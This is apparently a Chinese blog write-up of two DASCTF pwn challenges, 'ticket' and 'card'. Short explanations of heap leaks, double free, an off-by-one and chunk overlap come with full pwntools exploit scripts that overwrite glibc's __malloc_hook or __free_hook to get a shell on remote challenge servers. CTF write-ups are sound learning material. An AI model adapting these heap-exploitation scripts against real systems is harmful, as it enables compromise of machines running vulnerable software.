Loading... 由于有 XCTF-FINAL,所以虽然报了名,但是并没有打这场比赛,XCTF 也是零贡献,什么都不会了只好补一下 DASCTF 的题目,两题都很简单。 ticket 可以通过申请释放再申请可以 leak 出 libc 和堆的基址,然后输入在 age 变量处伪造一个 chunk 的地址,利用整数溢出 free 掉这个 chunk,实现 double free,打 malloc_hook 即可 ```python #!/usr/bin/env python # coding=utf-8 from pwn import * context.log_level = 'debug' context.terminal = ["tmux","splitw","-h"] #sh = process("./ticket") #libc = ELF("/glibc/2.23/amd64/lib/libc.so.6") sh = remote("node3.buuoj.cn",26677) libc = ELF("./libc-2.23.so") def edit_twice(name, words, age): sh.sendlineafter("name: \n",name) sh.sendlineafter("fei): \n",words) sh.sendlineafter("age: \n",age) def add_ticket(idx, size): sh.sendlineafter(">> ",'1') sh.sendlineafter("Index: \n",str(idx)) sh.sendlineafter("size: \n",str(size)) def delete_ticket(idx): sh.sendlineafter(">> ",'2') sh.sendlineafter("Index: \n",str(idx)) def edit_ticket(idx,payload): sh.sendlineafter(">> ",'3') sh.sendlineafter("Index: \n",str(idx)) sh.sendlineafter("remarks: \n",str(payload)) def show_ticket(idx): sh.sendlineafter(">> ",'4') sh.sendlineafter("Index: \n",str(idx)) edit_twice('1','1','1') add_ticket(0,512) add_ticket(1,32) add_ticket(2,32) delete_ticket(0) delete_ticket(2) delete_ticket(1) add_ticket(1,32) add_ticket(0,512) show_ticket(0) sh.recvuntil("Ticket 0: ") libc_base = u64(sh.recv(6).ljust(8,'\x00')) - libc.sym["__malloc_hook"] - 0x10 - 88 log.success("libc_base: " + hex(libc_base)) show_ticket(1) sh.recvuntil("Ticket 1: ") heap_base = u64(sh.recv(4).ljust(8,'\x00')) - 0x2A0 log.success("heap_base: " + hex(heap_base)) add_ticket(2,0x68) add_ticket(3,0x68) delete_ticket(2) delete_ticket(3) chunk2_addr = heap_base + 0x2D0 sh.sendlineafter(">> ",'5') edit_twice('1','1',str(chunk2_addr + 0x10)) delete_ticket(-3) add_ticket(3,0x68) edit_ticket(3,p64(libc_base + libc.sym["__malloc_hook"] - 0x23)) add_ticket(4,0x68) add_ticket(5,0x68) add_ticket(2,0x68) one_gadget = libc_base + 0xf1147 edit_ticket(2,'a' * 0x13 + p64(one_gadget)) delete_ticket(0) #gdb.attach(proc.pidof(sh)[0]) add_ticket(0,0x10) sh.interactive() ``` card 只要先通过释放再申请就可以 leak 出堆地址,通过填满 tcache 就可以使 chunk 进入 unsorted bin,可以实现 leak,由于有堆地址,所以可以绕过 unlink 做一个前向合并实现 chunk overlapping,就可以 double free 然后打 __free_hook 即可。 ```cpp #!/usr/bin/env python # coding=utf-8 from pwn import * context.log_level = 'debug' context.terminal = ["tmux","splitw","-h"] #sh = process("./pwn") #libc = ELF("/glibc/2.27/amd64/lib/libc.so.6") sh = remote("node3.buuoj.cn",28869) libc = ELF("./libc.so") def add(idx,size,payload): sh.sendlineafter("choice:",'1') sh.sendlineafter("card:",str(idx)) sh.sendlineafter("power:\n",str(size)) sh.sendafter("quickly!",payload) def offbyone(idx,payload): sh.sendlineafter("choice:",'2') sh.sendlineafter("card",str(idx)) sh.sendafter("show\n",payload) def free(idx): sh.sendlineafter("choice:",'3') sh.sendlineafter("card:",str(idx)) def show(idx): sh.sendlineafter("choice:",'4') sh.sendlineafter("index:",str(idx)) add(0,0x18,'\n') # idx:0 add(1,0x18,'\n') # idx:1 #add(2,0x18,'\n') # idx:2 free(0) free(1) add(1,0x18,'\x00') show(1) sh.recvuntil("de:") heap_base = u64(sh.recv(6).ljust(8,'\x00')) - 0x200 log.success("heap_base:" + hex(heap_base)) for i in range(10): add(i + 2,0xF8,'\n') add(13,0x18,'\n') #add(0,0x18,'\n') for i in range(8): free(i + 2) add(2,0x18,'\xFF') show(2) sh.recvuntil("de:") libc_base = u64(sh.recv(6).ljust(8,'\x00')) - 0x10 - libc.sym["__malloc_hook"] libc_base = libc_base & 0xFFFFFFFFFFFFF000 log.success("libc_base:" + hex(libc_base)) payload = p64(0) + p64(0x21) + p64(heap_base + 0x9C0) * 2 + p64(0x20) + p64(0x21) add(3,0xB8,payload) add(4,0x18,'\n') offbyone(4,''.ljust(0x10,'\x00') + p64(0xD0) + '\x00') free(10) add(5,0xA8,'\n') add(6,0x18,'\n') free(6) free(4) add(4,0x18,p64(libc_base + libc.sym["__free_hook"])) add(6,0x18,'/bin/sh\x00') add(7,0x18,p64(libc_base + libc.sym["system"])) free(6) sh.interactive() ``` 最后修改:2021 年 05 月 31 日 © 允许规范转载 打赏 赞赏作者 支付宝微信 赞 0 如果觉得我的文章对你有用,那听听上面我喜欢的歌吧